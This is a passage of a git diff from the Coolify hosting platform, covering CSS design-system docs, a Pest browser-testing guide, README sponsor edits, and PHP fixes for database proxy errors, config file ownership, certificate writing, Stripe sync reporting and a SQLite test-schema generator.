+**Modal Confirmation container:** +``` +relative w-full border rounded-sm +min-w-full lg:min-w-[36rem] max-w-[48rem] +max-h-[calc(100vh-2rem)] +bg-neutral-100 border-neutral-400 +dark:bg-base dark:border-coolgray-300 +flex flex-col +``` + +**Plain CSS:** +```css +.modal-box { + border-radius: 0.125rem; + max-height: calc(100vh - 5rem); + display: flex; + flex-direction: column; +} + +.modal-input { + position: relative; + width: 100%; + border: 1px solid #e5e5e5; + border-radius: 0.125rem; + filter: drop-shadow(0 1px 1px rgba(0, 0, 0, 0.05)); + background: #fff; + display: flex; + flex-direction: column; +} +.dark .modal-input { + background: #101010; + border-color: #242424; +} + +/* Desktop sizing */ +@media (min-width: 1024px) { + .modal-input { + width: auto; + min-width: 42rem; + max-width: 56rem; + } +} +``` + +**Modal header:** +```css +.modal-header { + display: flex; + align-items: center; + justify-content: space-between; + padding: 1.5rem; + flex-shrink: 0; +} +.modal-header h3 { + font-size: 1.5rem; + font-weight: 700; +} +``` + +**Close button:** +```css +.modal-close { + width: 2rem; + height: 2rem; + border-radius: 9999px; + color: #fff; +} +.modal-close:hover { background: #242424; } +``` + +--- + +### 3.13 Slide-Over Panel + +**Tailwind:** +``` +fixed inset-y-0 right-0 flex max-w-full pl-10 +``` + +**Inner panel:** +``` +max-w-xl w-screen +flex flex-col h-full py-6 +border-l shadow-lg +bg-neutral-50 dark:bg-base +dark:border-neutral-800 border-neutral-200 +``` + +**Plain CSS:** +```css +.slide-over { + position: fixed; + top: 0; + bottom: 0; + right: 0; + display: flex; + max-width: 100%; + padding-left: 2.5rem; +} + +.slide-over-panel { + max-width: 36rem; + width: 100vw; + display: flex; + flex-direction: column; + height: 100%; + padding: 1.5rem 0; + border-left: 1px solid #e5e5e5; + box-shadow: -10px 0 15px -3px rgba(0, 0, 0, 0.1); + background: #fafafa; +} +.dark .slide-over-panel { + background: #101010; + border-color: #262626; +} +``` + +--- + +### 3.14 Tag + +**Tailwind:** +``` +px-2 py-1 cursor-pointer text-xs font-bold text-neutral-500 +dark:bg-coolgray-100 dark:hover:bg-coolgray-300 bg-neutral-100 hover:bg-neutral-200 +``` + +**Plain CSS:** +```css +.tag { + padding: 0.25rem 0.5rem; + font-size: 0.75rem; + font-weight: 700; + color: #737373; + background: #f5f5f5; + cursor: pointer; +} +.tag:hover { background: #e5e5e5; } +.dark .tag { background: #181818; } +.dark .tag:hover { background: #242424; } +``` + +--- + +### 3.15 Loading Spinner + +**Tailwind:** +``` +w-4 h-4 text-coollabs dark:text-warning animate-spin +``` + +**Plain CSS + SVG:** +```css +.loading-spinner { + width: 1rem; + height: 1rem; + color: #6b16ed; + animation: spin 1s linear infinite; +} +.dark .loading-spinner { color: #fcd452; } + +@keyframes spin { + from { transform: rotate(0deg); } + to { transform: rotate(360deg); } +} +``` + +**SVG structure:** +```html + + + + +``` + +--- + +### 3.16 Helper / Tooltip + +**Tailwind (trigger icon):** +``` +cursor-pointer text-coollabs dark:text-warning +``` + +**Tailwind (popup):** +``` +hidden absolute z-40 text-xs rounded-sm text-neutral-700 group-hover:block +dark:border-coolgray-500 border-neutral-900 dark:bg-coolgray-400 bg-neutral-200 +dark:text-neutral-300 max-w-sm whitespace-normal break-words +``` + +**Plain CSS:** +```css +.helper-icon { + cursor: pointer; + color: #6b16ed; +} +.dark .helper-icon { color: #fcd452; } + +.helper-popup { + display: none; + position: absolute; + z-index: 40; + font-size: 0.75rem; + border-radius: 0.125rem; + color: #404040; + background: #e5e5e5; + max-width: 24rem; + white-space: normal; + word-break: break-word; + padding: 1rem; +} +.dark .helper-popup { + background: #282828; + color: #d4d4d4; + border: 1px solid #323232; +} + +/* Show on parent hover */ +.helper:hover .helper-popup { display: block; } +``` + +--- + +### 3.17 Highlighted Text + +**Tailwind:** +``` +inline-block font-bold text-coollabs dark:text-warning +``` + +**Plain CSS:** +```css +.text-highlight { + display: inline-block; + font-weight: 700; + color: #6b16ed; +} +.dark .text-highlight { color: #fcd452; } +``` + +--- + +### 3.18 Scrollbar + +**Tailwind:** +``` +scrollbar-thumb-coollabs-100 scrollbar-track-neutral-200 +dark:scrollbar-track-coolgray-200 scrollbar-thin +``` + +**Plain CSS:** +```css +::-webkit-scrollbar { width: 6px; height: 6px; } +::-webkit-scrollbar-track { background: #e5e5e5; } +::-webkit-scrollbar-thumb { background: #7317ff; } +.dark ::-webkit-scrollbar-track { background: #202020; } +``` + +--- + +### 3.19 Table + +**Plain CSS:** +```css +table { min-width: 100%; border-collapse: separate; } +table, tbody { border-bottom: 1px solid #d4d4d4; } +.dark table, .dark tbody { border-color: #202020; } + +thead { text-transform: uppercase; } + +tr { color: #000; } +tr:hover { background: #e5e5e5; } +.dark tr { color: #a3a3a3; } +.dark tr:hover { background: #000; } + +th { + padding: 0.875rem 0.75rem; + text-align: left; + color: #000; +} +.dark th { color: #fff; } +th:first-child { padding-left: 1.5rem; } + +td { padding: 1rem 0.75rem; white-space: nowrap; } +td:first-child { padding-left: 1.5rem; font-weight: 700; } +``` + +--- + +### 3.20 Keyboard Shortcut Indicator + +**Tailwind:** +``` +px-2 text-xs rounded-sm border border-dashed border-neutral-700 dark:text-warning +``` + +**Plain CSS:** +```css +.kbd { + padding: 0 0.5rem; + font-size: 0.75rem; + border-radius: 0.125rem; + border: 1px dashed #404040; +} +.dark .kbd { color: #fcd452; } +``` + +--- + +## 4. Base Element Styles + +These global styles are applied to all HTML elements: + +```css +/* Page */ +html, body { + width: 100%; + min-height: 100%; + background: #f9fafb; + font-family: Inter, sans-serif; +} +.dark html, .dark body { + background: #101010; + color: #a3a3a3; +} + +body { + min-height: 100vh; + font-size: 0.875rem; + -webkit-font-smoothing: antialiased; + overflow-x: hidden; +} + +/* Links */ +a:hover { color: #000; } +.dark a:hover { color: #fff; } + +/* Labels */ +.dark label { color: #a3a3a3; } + +/* Sections */ +section { margin-bottom: 3rem; } + +/* Default border color override */ +*, ::after, ::before, ::backdrop { + border-color: #202020; /* coolgray-200 */ +} + +/* Select options */ +.dark option { + color: #fff; + background: #181818; +} +``` + +--- + +## 5. Interactive State Reference + +### Focus + +| Element Type | Mechanism | Light | Dark | +|---|---|---|---| +| Buttons, links, checkboxes | `ring-2` offset | Purple `#6b16ed` | Yellow `#fcd452` | +| Inputs, selects, textareas | Inset box-shadow (4px left bar) | Purple `#6b16ed` | Yellow `#fcd452` | +| Dropdown items | Background change | `bg-neutral-100` | `bg-coollabs` (`#6b16ed`) | + +### Hover + +| Element | Light | Dark | +|---|---|---| +| Button (default) | `bg-neutral-100` | `bg-coolgray-200` | +| Button (highlighted) | `bg-coollabs` (`#6b16ed`) | `bg-coollabs-100` (`#7317ff`) | +| Button (error) | `bg-red-300` | `bg-red-800` | +| Box card | `bg-neutral-100` + all child text `#000` | `bg-coollabs-100` (`#7317ff`) + all child text `#fff` | +| Coolbox card | Ring: `ring-coollabs` | Ring: `ring-warning` | +| Menu item | `bg-neutral-300` | `bg-coolgray-100` | +| Dropdown item | `bg-neutral-100` | `bg-coollabs` | +| Table row | `bg-neutral-200` | `bg-black` | +| Link | `text-black` | `text-white` | +| Checkbox container | — | `bg-coolgray-100` | + +### Disabled + +```css +/* Universal disabled pattern */ +:disabled { + cursor: not-allowed; + color: #d4d4d4; /* neutral-300 */ + background: transparent; + border-color: transparent; +} +.dark :disabled { + color: #525252; /* neutral-600 */ +} + +/* Input-specific */ +.input:disabled { + background: #e5e5e5; /* neutral-200 */ + color: #737373; /* neutral-500 */ + box-shadow: none; +} +.dark .input:disabled { + background: rgba(24, 24, 24, 0.4); + box-shadow: none; +} +``` + +### Readonly + +```css +.input:read-only { + color: #737373; + background: #e5e5e5; + box-shadow: none; +} +.dark .input:read-only { + color: #737373; + background: rgba(24, 24, 24, 0.4); + box-shadow: none; +} +``` + +--- + +## 6. CSS Custom Properties (Theme Tokens) + +For use in any CSS framework or plain CSS: + +```css +:root { + /* Font */ + --font-sans: Inter, sans-serif; + + /* Brand */ + --color-base: #101010; + --color-coollabs: #6b16ed; + --color-coollabs-50: #f5f0ff; + --color-coollabs-100: #7317ff; + --color-coollabs-200: #5a12c7; + --color-coollabs-300: #4a0fa3; + + /* Neutral grays (dark backgrounds) */ + --color-coolgray-100: #181818; + --color-coolgray-200: #202020; + --color-coolgray-300: #242424; + --color-coolgray-400: #282828; + --color-coolgray-500: #323232; + + /* Warning / dark accent */ + --color-warning: #fcd452; + --color-warning-50: #fefce8; + --color-warning-100: #fef9c3; + --color-warning-200: #fef08a; + --color-warning-300: #fde047; + --color-warning-400: #fcd452; + --color-warning-500: #facc15; + --color-warning-600: #ca8a04; + --color-warning-700: #a16207; + --color-warning-800: #854d0e; + --color-warning-900: #713f12; + + /* Semantic */ + --color-success: #22C55E; + --color-error: #dc2626; +} +``` diff --git a/.claude/skills/pest-testing/SKILL.md b/.claude/skills/pest-testing/SKILL.md index 67455e7e6..9ca79830a 100644 --- a/.claude/skills/pest-testing/SKILL.md +++ b/.claude/skills/pest-testing/SKILL.md @@ -23,19 +23,28 @@ ## Documentation Use `search-docs` for detailed Pest 4 patterns and documentation. -## Basic Usage +## Test Directory Structure -### Creating Tests +- `tests/Feature/` and `tests/Unit/` — Legacy tests (keep, don't delete) +- `tests/v4/Feature/` — New feature tests (SQLite :memory: database) +- `tests/v4/Browser/` — Browser tests (Pest Browser Plugin + Playwright) +- `tests/Browser/` — Legacy Dusk browser tests (keep, don't delete) -All tests must be written using Pest. Use `php artisan make:test --pest {name}`. +New tests go in `tests/v4/`. The v4 suite uses SQLite :memory: with a schema dump (`database/schema/testing-schema.sql`) instead of running migrations. -### Test Organization +Do NOT remove tests without approval. -- Unit/Feature tests: `tests/Feature` and `tests/Unit` directories. -- Browser tests: `tests/Browser/` directory. -- Do NOT remove tests without approval - these are core application code. +## Running Tests -### Basic Test Structure +- All v4 tests: `php artisan test --compact tests/v4/` +- Browser tests: `php artisan test --compact tests/v4/Browser/` +- Feature tests: `php artisan test --compact tests/v4/Feature/` +- Specific file: `php artisan test --compact tests/v4/Browser/LoginTest.php` +- Filter: `php artisan test --compact --filter=testName` +- Headed (see browser): `./vendor/bin/pest tests/v4/Browser/ --headed` +- Debug (pause on failure): `./vendor/bin/pest tests/v4/Browser/ --debug` + +## Basic Test Structure @@ -45,24 +54,10 @@ ### Basic Test Structure -### Running Tests - -- Run minimal tests with filter before finalizing: `php artisan test --compact --filter=testName`. -- Run all tests: `php artisan test --compact`. -- Run file: `php artisan test --compact tests/Feature/ExampleTest.php`. - ## Assertions Use specific assertions (`assertSuccessful()`, `assertNotFound()`) instead of `assertStatus()`: - - -it('returns all', function () { - $this->postJson('/api/docs', [])->assertSuccessful(); -}); - - - | Use | Instead of | |-----|------------| | `assertSuccessful()` | `assertStatus(200)` | @@ -75,7 +70,7 @@ ## Mocking ## Datasets -Use datasets for repetitive tests (validation rules, etc.): +Use datasets for repetitive tests: @@ -88,73 +83,94 @@ ## Datasets -## Pest 4 Features +## Browser Testing (Pest Browser Plugin + Playwright) -| Feature | Purpose | -|---------|---------| -| Browser Testing | Full integration tests in real browsers | -| Smoke Testing | Validate multiple pages quickly | -| Visual Regression | Compare screenshots for visual changes | -| Test Sharding | Parallel CI runs | -| Architecture Testing | Enforce code conventions | +Browser tests use `pestphp/pest-plugin-browser` with Playwright. They run **outside Docker** — the plugin starts an in-process HTTP server and Playwright browser automatically. -### Browser Test Example +### Key Rules -Browser tests run in real browsers for full integration testing: +1. **Always use `RefreshDatabase`** — the in-process server uses SQLite :memory: +2. **Always seed `InstanceSettings::create(['id' => 0])` in `beforeEach`** — most pages crash without it +3. **Use `User::factory()` for auth tests** — create users with `id => 0` for root user +4. **No Dusk, no Selenium** — use `visit()`, `fill()`, `click()`, `assertSee()` from the Pest Browser API +5. **Place tests in `tests/v4/Browser/`** +6. **Views with bare `function` declarations** will crash on the second request in the same process — wrap with `function_exists()` guard if you encounter this -- Browser tests live in `tests/Browser/`. -- Use Laravel features like `Event::fake()`, `assertAuthenticated()`, and model factories. -- Use `RefreshDatabase` for clean state per test. -- Interact with page: click, type, scroll, select, submit, drag-and-drop, touch gestures. -- Test on multiple browsers (Chrome, Firefox, Safari) if requested. -- Test on different devices/viewports (iPhone 14 Pro, tablets) if requested. -- Switch color schemes (light/dark mode) when appropriate. -- Take screenshots or pause tests for debugging. +### Browser Test Template - + +actingAs(User::factory()->create()); +uses(RefreshDatabase::class); - $page = visit('/sign-in'); - - $page->assertSee('Sign In') - ->assertNoJavaScriptErrors() - ->click('Forgot Password?') - ->fill('email', 'nuno@laravel.com') - ->click('Send Reset Link') - ->assertSee('We have emailed your password reset link!'); - - Notification::assertSent(ResetPassword::class); +beforeEach(function () { + InstanceSettings::create(['id' => 0]); }); +it('can visit the page', function () { + $page = visit('/login'); + + $page->assertSee('Login'); +}); -### Smoke Testing +### Browser Test with Form Interaction -Quickly validate multiple pages have no JavaScript errors: + +it('fails login with invalid credentials', function () { + User::factory()->create([ + 'id' => 0, + 'email' => 'test@example.com', + 'password' => Hash::make('password'), + ]); - - -$pages = visit(['/', '/about', '/contact']); - -$pages->assertNoJavaScriptErrors()->assertNoConsoleLogs(); + $page = visit('/login'); + $page->fill('email', 'random@email.com') + ->fill('password', 'wrongpassword123') + ->click('Login') + ->assertSee('These credentials do not match our records'); +}); -### Visual Regression Testing +### Browser API Reference -Capture and compare screenshots to detect visual changes. +| Method | Purpose | +|--------|---------| +| `visit('/path')` | Navigate to a page | +| `->fill('field', 'value')` | Fill an input by name | +| `->click('Button Text')` | Click a button/link by text | +| `->assertSee('text')` | Assert visible text | +| `->assertDontSee('text')` | Assert text is not visible | +| `->assertPathIs('/path')` | Assert current URL path | +| `->assertSeeIn('.selector', 'text')` | Assert text in element | +| `->screenshot()` | Capture screenshot | +| `->debug()` | Pause test, keep browser open | +| `->wait(seconds)` | Wait N seconds | -### Test Sharding +### Debugging -Split tests across parallel processes for faster CI runs. +- Screenshots auto-saved to `tests/Browser/Screenshots/` on failure +- `->debug()` pauses and keeps browser open (press Enter to continue) +- `->screenshot()` captures state at any point +- `--headed` flag shows browser, `--debug` pauses on failure -### Architecture Testing +## SQLite Testing Setup -Pest 4 includes architecture testing (from Pest 3): +v4 tests use SQLite :memory: instead of PostgreSQL. Schema loaded from `database/schema/testing-schema.sql`. + +### Regenerating the Schema + +When migrations change, regenerate from the running PostgreSQL database: + +```bash +docker exec coolify php artisan schema:generate-testing +``` + +## Architecture Testing @@ -171,4 +187,7 @@ ## Common Pitfalls - Using `assertStatus(200)` instead of `assertSuccessful()` - Forgetting datasets for repetitive validation tests - Deleting tests without approval -- Forgetting `assertNoJavaScriptErrors()` in browser tests \ No newline at end of file +- Forgetting `assertNoJavaScriptErrors()` in browser tests +- **Browser tests: forgetting `InstanceSettings::create(['id' => 0])` — most pages crash without it** +- **Browser tests: forgetting `RefreshDatabase` — SQLite :memory: starts empty** +- **Browser tests: views with bare `function` declarations crash on second request — wrap with `function_exists()` guard** diff --git a/.env.testing b/.env.testing new file mode 100644 index 000000000..2f79f3389 --- /dev/null +++ b/.env.testing @@ -0,0 +1,15 @@ +APP_ENV=testing +APP_KEY=base64:8VEfVNVkXQ9mH2L33WBWNMF4eQ0BWD5CTzB8mIxcl+k= +APP_DEBUG=true + +DB_CONNECTION=testing + +CACHE_DRIVER=array +SESSION_DRIVER=array +QUEUE_CONNECTION=sync +MAIL_MAILER=array +TELESCOPE_ENABLED=false + +REDIS_HOST=127.0.0.1 + +SELF_HOSTED=true diff --git a/.gitignore b/.gitignore index 935ea548e..403028761 100644 --- a/.gitignore +++ b/.gitignore @@ -38,3 +38,5 @@ docker/coolify-realtime/node_modules .DS_Store CHANGELOG.md /.workspaces +tests/Browser/Screenshots +tests/v4/Browser/Screenshots diff --git a/README.md b/README.md index 276ef07b5..c78e47997 100644 --- a/README.md +++ b/README.md @@ -55,6 +55,10 @@ ## Donations Thank you so much! +### Huge Sponsors + +* [SerpAPI](https://serpapi.com?ref=coolify.io) - Google Search API — Scrape Google and other search engines from our fast, easy, and complete API + ### Big Sponsors * [23M](https://23m.com?ref=coolify.io) - Your experts for high-availability hosting solutions! @@ -70,9 +74,10 @@ ### Big Sponsors * [CompAI](https://www.trycomp.ai?ref=coolify.io) - Open source compliance automation platform * [Convex](https://convex.link/coolify.io) - Open-source reactive database for web app developers * [CubePath](https://cubepath.com/?ref=coolify.io) - Dedicated Servers & Instant Deploy -* [Dade2](https://dade2.net/?ref=coolify.io) - IT Consulting, Cloud Solutions & System Integration +* [Darweb](https://darweb.nl/?ref=coolify.io) - 3D CPQ solutions for ecommerce design * [Formbricks](https://formbricks.com?ref=coolify.io) - The open source feedback platform * [GoldenVM](https://billing.goldenvm.com?ref=coolify.io) - Premium virtual machine hosting solutions +* [Greptile](https://www.greptile.com?ref=coolify.io) - The AI Code Reviewer * [Hetzner](http://htznr.li/CoolifyXHetzner) - Server, cloud, hosting, and data center solutions * [Hostinger](https://www.hostinger.com/vps/coolify-hosting?ref=coolify.io) - Web hosting and VPS solutions * [JobsCollider](https://jobscollider.com/remote-jobs?ref=coolify.io) - 30,000+ remote jobs for developers @@ -80,6 +85,7 @@ ### Big Sponsors * [LiquidWeb](https://liquidweb.com?ref=coolify.io) - Premium managed hosting solutions * [Logto](https://logto.io?ref=coolify.io) - The better identity infrastructure for developers * [Macarne](https://macarne.com?ref=coolify.io) - Best IP Transit & Carrier Ethernet Solutions for Simplified Network Connectivity +* [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality * [Mobb](https://vibe.mobb.ai/?ref=coolify.io) - Secure Your AI-Generated Code to Unlock Dev Productivity * [PFGLabs](https://pfglabs.com?ref=coolify.io) - Build Real Projects with Golang * [Ramnode](https://ramnode.com/?ref=coolify.io) - High Performance Cloud VPS Hosting @@ -126,7 +132,6 @@ ### Small Sponsors RunPod DartNode Tyler Whitesides -SerpAPI Aquarela Crypto Jobs List Alfred Nutile diff --git a/app/Actions/Database/StartDatabaseProxy.php b/app/Actions/Database/StartDatabaseProxy.php index c634f14ba..4331c6ae7 100644 --- a/app/Actions/Database/StartDatabaseProxy.php +++ b/app/Actions/Database/StartDatabaseProxy.php @@ -112,12 +112,52 @@ public function handle(StandaloneRedis|StandalonePostgresql|StandaloneMongodb|St $dockercompose_base64 = base64_encode(Yaml::dump($docker_compose, 4, 2)); $nginxconf_base64 = base64_encode($nginxconf); instant_remote_process(["docker rm -f $proxyContainerName"], $server, false); - instant_remote_process([ - "mkdir -p $configuration_dir", - "echo '{$nginxconf_base64}' | base64 -d | tee $configuration_dir/nginx.conf > /dev/null", - "echo '{$dockercompose_base64}' | base64 -d | tee $configuration_dir/docker-compose.yaml > /dev/null", - "docker compose --project-directory {$configuration_dir} pull", - "docker compose --project-directory {$configuration_dir} up -d", - ], $server); + + try { + instant_remote_process([ + "mkdir -p $configuration_dir", + "echo '{$nginxconf_base64}' | base64 -d | tee $configuration_dir/nginx.conf > /dev/null", + "echo '{$dockercompose_base64}' | base64 -d | tee $configuration_dir/docker-compose.yaml > /dev/null", + "docker compose --project-directory {$configuration_dir} pull", + "docker compose --project-directory {$configuration_dir} up -d", + ], $server); + } catch (\RuntimeException $e) { + if ($this->isNonTransientError($e->getMessage())) { + $database->update(['is_public' => false]); + + $team = data_get($database, 'environment.project.team') + ?? data_get($database, 'service.environment.project.team'); + + $team?->notify( + new \App\Notifications\Container\ContainerRestarted( + "TCP Proxy for {$database->name} database has been disabled due to error: {$e->getMessage()}", + $server, + ) + ); + + ray("Database proxy for {$database->name} disabled due to non-transient error: {$e->getMessage()}"); + + return; + } + + throw $e; + } + } + + private function isNonTransientError(string $message): bool + { + $nonTransientPatterns = [ + 'port is already allocated', + 'address already in use', + 'Bind for', + ]; + + foreach ($nonTransientPatterns as $pattern) { + if (str_contains($message, $pattern)) { + return true; + } + } + + return false; } } diff --git a/app/Actions/Database/StartKeydb.php b/app/Actions/Database/StartKeydb.php index 58f3cda4e..fe80a7d54 100644 --- a/app/Actions/Database/StartKeydb.php +++ b/app/Actions/Database/StartKeydb.php @@ -207,6 +207,9 @@ public function handle(StandaloneKeydb $database) if ($this->database->enable_ssl) { $this->commands[] = "chown -R 999:999 $this->configuration_dir/ssl/server.key $this->configuration_dir/ssl/server.crt"; } + if (! is_null($this->database->keydb_conf) && ! empty($this->database->keydb_conf)) { + $this->commands[] = "chown 999:999 $this->configuration_dir/keydb.conf"; + } $this->commands[] = "docker stop -t 10 $container_name 2>/dev/null || true"; $this->commands[] = "docker rm -f $container_name 2>/dev/null || true"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; diff --git a/app/Actions/Database/StartRedis.php b/app/Actions/Database/StartRedis.php index 4e4f3ce53..70df91054 100644 --- a/app/Actions/Database/StartRedis.php +++ b/app/Actions/Database/StartRedis.php @@ -204,6 +204,9 @@ public function handle(StandaloneRedis $database) if ($this->database->enable_ssl) { $this->commands[] = "chown -R 999:999 $this->configuration_dir/ssl/server.key $this->configuration_dir/ssl/server.crt"; } + if (! is_null($this->database->redis_conf) && ! empty($this->database->redis_conf)) { + $this->commands[] = "chown 999:999 $this->configuration_dir/redis.conf"; + } $this->commands[] = "docker stop -t 10 $container_name 2>/dev/null || true"; $this->commands[] = "docker rm -f $container_name 2>/dev/null || true"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; diff --git a/app/Actions/Server/InstallDocker.php b/app/Actions/Server/InstallDocker.php index d718d3735..31e582c9b 100644 --- a/app/Actions/Server/InstallDocker.php +++ b/app/Actions/Server/InstallDocker.php @@ -30,12 +30,14 @@ public function handle(Server $server) ); $caCertPath = config('constants.coolify.base_config_path').'/ssl/'; + $base64Cert = base64_encode($serverCert->ssl_certificate); + $commands = collect([ "mkdir -p $caCertPath", "chown -R 9999:root $caCertPath", "chmod -R 700 $caCertPath", "rm -rf $caCertPath/coolify-ca.crt", - "echo '{$serverCert->ssl_certificate}' > $caCertPath/coolify-ca.crt", + "echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null", "chmod 644 $caCertPath/coolify-ca.crt", ]); remote_process($commands, $server); diff --git a/app/Console/Commands/CleanupUnreachableServers.php b/app/Console/Commands/CleanupUnreachableServers.php index def01b265..09563a2c3 100644 --- a/app/Console/Commands/CleanupUnreachableServers.php +++ b/app/Console/Commands/CleanupUnreachableServers.php @@ -14,7 +14,7 @@ class CleanupUnreachableServers extends Command public function handle() { echo "Running unreachable server cleanup...\n"; - $servers = Server::where('unreachable_count', 3)->where('unreachable_notification_sent', true)->where('updated_at', '<', now()->subDays(7))->get(); + $servers = Server::where('unreachable_count', '>=', 3)->where('unreachable_notification_sent', true)->where('updated_at', '<', now()->subDays(7))->get(); if ($servers->count() > 0) { foreach ($servers as $server) { echo "Cleanup unreachable server ($server->id) with name $server->name"; diff --git a/app/Console/Commands/Cloud/SyncStripeSubscriptions.php b/app/Console/Commands/Cloud/SyncStripeSubscriptions.php index e64f86926..46f6b4edd 100644 --- a/app/Console/Commands/Cloud/SyncStripeSubscriptions.php +++ b/app/Console/Commands/Cloud/SyncStripeSubscriptions.php @@ -36,7 +36,14 @@ public function handle(): int $this->newLine(); $job = new SyncStripeSubscriptionsJob($fix); - $result = $job->handle(); + $fetched = 0; + $result = $job->handle(function (int $count) use (&$fetched): void { + $fetched = $count; + $this->output->write("\r Fetching subscriptions from Stripe... {$fetched}"); + }); + if ($fetched > 0) { + $this->output->write("\r".str_repeat(' ', 60)."\r"); + } if (isset($result['error'])) { $this->error($result['error']); @@ -68,6 +75,19 @@ public function handle(): int $this->info('No discrepancies found. All subscriptions are in sync.'); } + if (count($result['resubscribed']) > 0) { + $this->newLine(); + $this->warn('Resubscribed users (same email, different customer): '.count($result['resubscribed'])); + $this->newLine(); + + foreach ($result['resubscribed'] as $resub) { + $this->line(" - Team ID: {$resub['team_id']} | Email: {$resub['email']}"); + $this->line(" Old: {$resub['old_stripe_subscription_id']} (cus: {$resub['old_stripe_customer_id']})"); + $this->line(" New: {$resub['new_stripe_subscription_id']} (cus: {$resub['new_stripe_customer_id']}) [{$resub['new_status']}]"); + $this->newLine(); + } + } + if (count($result['errors']) > 0) { $this->newLine(); $this->error('Errors encountered: '.count($result['errors'])); diff --git a/app/Console/Commands/Generate/OpenApi.php b/app/Console/Commands/Generate/OpenApi.php index 2b266c258..224c10792 100644 --- a/app/Console/Commands/Generate/OpenApi.php +++ b/app/Console/Commands/Generate/OpenApi.php @@ -32,7 +32,8 @@ public function handle() echo $process->output(); $yaml = file_get_contents('openapi.yaml'); - $json = json_encode(Yaml::parse($yaml), JSON_PRETTY_PRINT); + + $json = json_encode(Yaml::parse($yaml), JSON_PRETTY_PRINT)."\n"; file_put_contents('openapi.json', $json); echo "Converted OpenAPI YAML to JSON.\n"; } diff --git a/app/Console/Commands/GenerateTestingSchema.php b/app/Console/Commands/GenerateTestingSchema.php new file mode 100644 index 000000000..00fd90c25 --- /dev/null +++ b/app/Console/Commands/GenerateTestingSchema.php @@ -0,0 +1,222 @@ + 'INTEGER', + '/\binteger\b/' => 'INTEGER', + '/\bsmallint\b/' => 'INTEGER', + '/\bboolean\b/' => 'INTEGER', + '/character varying\(\d+\)/' => 'TEXT', + '/timestamp\(\d+\) without time zone/' => 'TEXT', + '/timestamp\(\d+\) with time zone/' => 'TEXT', + '/\bjsonb\b/' => 'TEXT', + '/\bjson\b/' => 'TEXT', + '/\buuid\b/' => 'TEXT', + '/double precision/' => 'REAL', + '/numeric\(\d+,\d+\)/' => 'REAL', + '/\bdate\b/' => 'TEXT', + ]; + + private array $castRemovals = [ + '::character varying', + '::text', + '::integer', + '::boolean', + '::timestamp without time zone', + '::timestamp with time zone', + '::numeric', + ]; + + public function handle(): int + { + $connection = $this->option('connection'); + + if (DB::connection($connection)->getDriverName() !== 'pgsql') { + $this->error("Connection '{$connection}' is not PostgreSQL."); + + return self::FAILURE; + } + + $this->info('Reading schema from PostgreSQL...'); + + $tables = $this->getTables($connection); + $lastMigration = DB::connection($connection) + ->table('migrations') + ->orderByDesc('id') + ->value('migration'); + + $output = []; + $output[] = '-- Generated by: php artisan schema:generate-testing'; + $output[] = '-- Date: '.now()->format('Y-m-d H:i:s'); + $output[] = '-- Last migration: '.($lastMigration ?? 'none'); + $output[] = ''; + + foreach ($tables as $table) { + $columns = $this->getColumns($connection, $table); + $output[] = $this->generateCreateTable($table, $columns); + } + + $indexes = $this->getIndexes($connection, $tables); + foreach ($indexes as $index) { + $output[] = $index; + } + + $output[] = ''; + $output[] = '-- Migration records'; + + $migrations = DB::connection($connection)->table('migrations')->orderBy('id')->get(); + foreach ($migrations as $m) { + $migration = str_replace("'", "''", $m->migration); + $output[] = "INSERT INTO \"migrations\" (\"id\", \"migration\", \"batch\") VALUES ({$m->id}, '{$migration}', {$m->batch});"; + } + + $path = database_path('schema/testing-schema.sql'); + + if (! is_dir(dirname($path))) { + mkdir(dirname($path), 0755, true); + } + + file_put_contents($path, implode("\n", $output)."\n"); + + $this->info("Schema written to {$path}"); + $this->info(count($tables).' tables, '.count($migrations).' migration records.'); + + return self::SUCCESS; + } + + private function getTables(string $connection): array + { + return collect(DB::connection($connection)->select( + "SELECT tablename FROM pg_tables WHERE schemaname = 'public' ORDER BY tablename" + ))->pluck('tablename')->toArray(); + } + + private function getColumns(string $connection, string $table): array + { + return DB::connection($connection)->select( + "SELECT column_name, data_type, character_maximum_length, column_default, + is_nullable, udt_name, numeric_precision, numeric_scale, datetime_precision + FROM information_schema.columns + WHERE table_schema = 'public' AND table_name = ? + ORDER BY ordinal_position", + [$table] + ); + } + + private function generateCreateTable(string $table, array $columns): string + { + $lines = []; + + foreach ($columns as $col) { + $lines[] = ' '.$this->generateColumnDef($table, $col); + } + + return "CREATE TABLE IF NOT EXISTS \"{$table}\" (\n".implode(",\n", $lines)."\n);\n"; + } + + private function generateColumnDef(string $table, object $col): string + { + $name = $col->column_name; + $sqliteType = $this->convertType($col); + + // Auto-increment primary key for id columns + if ($name === 'id' && $sqliteType === 'INTEGER' && $col->is_nullable === 'NO' && str_contains((string) $col->column_default, 'nextval')) { + return "\"{$name}\" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL"; + } + + $parts = ["\"{$name}\"", $sqliteType]; + + // Default value + $default = $col->column_default; + if ($default !== null && ! str_contains($default, 'nextval')) { + $default = $this->cleanDefault($default); + $parts[] = "DEFAULT {$default}"; + } + + // NOT NULL + if ($col->is_nullable === 'NO') { + $parts[] = 'NOT NULL'; + } + + return implode(' ', $parts); + } + + private function convertType(object $col): string + { + $pgType = $col->data_type; + + return match (true) { + in_array($pgType, ['bigint', 'integer', 'smallint']) => 'INTEGER', + $pgType === 'boolean' => 'INTEGER', + in_array($pgType, ['character varying', 'text', 'USER-DEFINED']) => 'TEXT', + str_contains($pgType, 'timestamp') => 'TEXT', + in_array($pgType, ['json', 'jsonb']) => 'TEXT', + $pgType === 'uuid' => 'TEXT', + $pgType === 'double precision' => 'REAL', + $pgType === 'numeric' => 'REAL', + $pgType === 'date' => 'TEXT', + default => 'TEXT', + }; + } + + private function cleanDefault(string $default): string + { + foreach ($this->castRemovals as $cast) { + $default = str_replace($cast, '', $default); + } + + // Remove array type casts like ::text[] + $default = preg_replace('/::[\w\s]+(\[\])?/', '', $default); + + return $default; + } + + private function getIndexes(string $connection, array $tables): array + { + $results = []; + + $indexes = DB::connection($connection)->select( + "SELECT indexname, tablename, indexdef FROM pg_indexes + WHERE schemaname = 'public' + ORDER BY tablename, indexname" + ); + + foreach ($indexes as $idx) { + $def = $idx->indexdef; + + // Skip primary key indexes + if (str_contains($def, '_pkey')) { + continue; + } + + // Skip PG-specific indexes (GIN, GIST, expression indexes) + if (preg_match('/USING 